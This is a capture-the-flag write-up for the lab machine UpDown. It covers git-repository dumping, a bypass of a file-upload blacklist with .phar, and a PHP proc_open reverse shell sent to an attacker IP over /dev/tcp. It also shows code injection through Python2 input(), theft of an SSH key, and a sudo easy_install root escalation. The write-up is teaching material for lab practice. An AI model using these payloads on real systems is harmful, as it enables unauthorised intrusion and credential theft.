Machine | UpDown (10.10.11.177 - siteisup.htb) |
Summary
We found a .git
directory in /dev/
, we were able to reconstruct a repository and access the files in it. One of files was .htaccess
which disclosed a header we used to access dev
virtual host. http://dev.siteisup.htb/
allowed us to upload a malicious file .phar
, we used it to gain a shell as www-data
. We found a python2
script that uses a vulnerable function input()
, which we leveraged to gain a shell as developer
. As develeper
we were able to gain a root
shell by executing easy_install
using sudo
.
Vulnerabilities
Cryptographic failure | .git present on the website |
Arbitrary file upload | file upload function has insufficient filtering |
Vulnerable component | input() function in python2 accepts the input in as-it-is state and won’t modify its type. |
Security misconfiguration | easy_install does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access. |
Enumeration
We started with a nmap
scan and got 2 open ports:
- 80 - Apache 2.4.41
- 22 - OpenSSH 8.2p1
1
2
3
4
5
6
7
8
9
10
11
12
$ sudo nmap 10.10.11.177 -sV -oA nmap/10.10.11.177
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-06 13:48 EST
Nmap scan report for 10.10.11.177
Host is up (0.15s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.75 seconds
Web - port 80
Browsing to http://10.10.11.177/
we see this home page
This website takes a url and checks if it is up or not. It also has a debug option, when enabled it shows the response too.
We fuzzed the url http://siteisup.htb/
for hidden directories, and we found /dev
1
ffuf -u http://siteisup.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -mc 200,301,302 ffuf-10.10.11.177.json
We did the same thing with http://10.10.11.177/dev/
and we found a /.git
1
ffuf -u http://siteisup.htb/dev/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -mc 200,301,302 -o ffuf-10.10.11.177-dev.json
We used git-dumper to get the git repo
1
git-dumper http://siteisup.htb/dev/.git git-10.10.11.177
git log
revealed that there is some kind of protection around dev
vhost
1
git log
Reading the content of .htaccess
, we can see that there is a special header “Special-Dev: only4dev
” which we can only assume is required to access dev
vhost
1
cat .htaccess
To prove our thought we browsed to http://dev.siteisup.htb/
without the special header and got 403 Forbidden
response.
After adding Special-Dev
header we got a page semilar to the one we saw before, but it accepts a file instead of just a URL.
index.php
analysis
what happens here is the query parameter page
is matched against a regex /bin|usr|home|var|etc/i
, then .php
is appended to it before including it.
if page
is not provided checker.php
is included, which is the page we saw when we browsed to http://dev.siteisup.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
<b>This is only for developers</b>
<br>
<a href="?page=admin">Admin Panel</a>
<?php
define("DIRECTACCESS",false);
$page=$_GET['page'];
if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){
error_log($page . ".php");
include($_GET['page'] . ".php");
}else{
include("checker.php");
}
?>
checker.php
analysis
We have an upload form, that uses a POST
request to upload a file.
1
2
3
4
5
<form method="post" enctype="multipart/form-data">
<label>List of websites to check:</label><br><br>
<input type="file" name="file" size="50">
<input name="check" type="submit" value="Check">
</form>
When the post request arrives, it checks if the request body contains check
which means a file is being uploaded.
1
2
3
4
5
if($_POST['check']){
# File size must be less than 10kb.
if ($_FILES['file']['size'] > 10000) {
die("File too large!");
}
After that it checks that the file is smaller than 10kb
, and the extension is not blacklisted.
Not all the extensions we can use to upload a reverse shell are blacklisted, for example
phar
can be used.
Then it creates a directory from the md5
hash of the current time.
1
2
3
4
5
6
7
8
9
10
$file = $_FILES['file']['name'];
# Check if extension is allowed.
$ext = getExtension($file);
if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
die("Extension not allowed!");
}
# Create directory to upload our file.
$dir = "uploads/".md5(time())."/";
if(!is_dir($dir)){
mkdir($dir, 0770, true);
After, it gets the file content using file_get_contents()
, then it calls isitup()
for each line.
When it is done processing the file it deletes it using @unlink()
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Read the uploaded file.
$websites = explode("\n",file_get_contents($final_path));
foreach($websites as $site){
$site=trim($site);
if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){
$check=isitup($site);
if($check){
echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>";
}else{
echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>";
}
}else{
echo "<center><font color='red'>Hacking attempt was detected !</font></center>";
}
}
# Delete the uploaded file.
@unlink($final_path);
Testing File upload
We created a file 00.phar
:
1
2
http://10.10.14.95:9000/
<?php phpinfo(); ?>
The first line is used to prevent the deletion of our uploaded file before executing it.
When the server sends a request to our nc server using the funcion isitup()
, it will wait for a response which will never arrive, we can use this time to browse to our uploaded file http://dev.siteisup.htb/uploads/<md5(time)>/00.phar
to execute it.
note: http://dev.site.htb/uploads/ is listable.
We setup a listener on port 9000
Then we uploaded 00.phar
we can see that we recieved a request on our listener.
After browsing to http://dev.siteisup.htb/uploads/<md5(time)>/00.phar
we can see a phpinfo
page.
Going throught the phpinfo
page, we found that some functions are disabled, mostly those that we can use to execute system commands.
According to Hacktrick, we can use proc_open()
to execute system commands, and it’s not disabled.
Initial Access
we created a file 01.phar
containig a bash reverse shell executed using proc_open()
1
2
3
4
http://10.10.14.95:9000/
<?php
echo proc_close(proc_open("bash -c 'sh -i >& /dev/tcp/10.10.14.95/1337 0>&1'",array(),$something));
?>
We setup two listeners, one on port 1337
to recieve the shell, and the second on port 9000
as before to give us time to execute this file.
Then we uploaded 01.phar
As we did before, we browsed to /uploads/<md5(time)>/01.phar
Going back to our listener we can see that we recieved a shell as www-data
.
Gaining shell as developer
user
We changed directory to /home/developer/dev
and found two interesting files siteisup
which has the SUID
bit set and siteisup_test.py
.
siteisup
is an elf
executable.
we used strings
to see it’s content.
1
strings siteisup
We found that it executes /usr/bin/python /home/developer/dev/siteisup_test.py
siteisup_test.py
is a python2 script (note that print does not use parenthesis).
1
2
3
4
5
6
7
8
import requests
url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
print "Website is up"
else:
print "Website is down"
input()
function in python2 can be leveraged to execute code.
For example, if a malicious user imports the OS module, he can execute code on the server, hence leading to Remote Code Execution.
To test this we provided __import__("os").system("uname -a; id")
us input, and it was executed as developer
After that, we provided __import__("os").system("bash -p")
as input to get a shell as developer
We tried to read the flag but it was only readable by developer
group, and if you notice the output of id
you can see that we are not in that group gid=33(www-data)
.
To work arround this, we downloaded /home/developer/.ssh/id_rsa
and used to login as developer
using ssh
1
2
chmod 0600 id_rsa
ssh -i id_rsa developer@10.10.11.177
Privilege Escalation
We used sudo -l
and found that developer
can run /usr/local/bin/easy_install
as root
without a password
According to GTFOBins we can use easy_install
to escalate our privileges.
1
2
3
TF=$(mktemp -d)
echo "import os;os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo easy_install $TF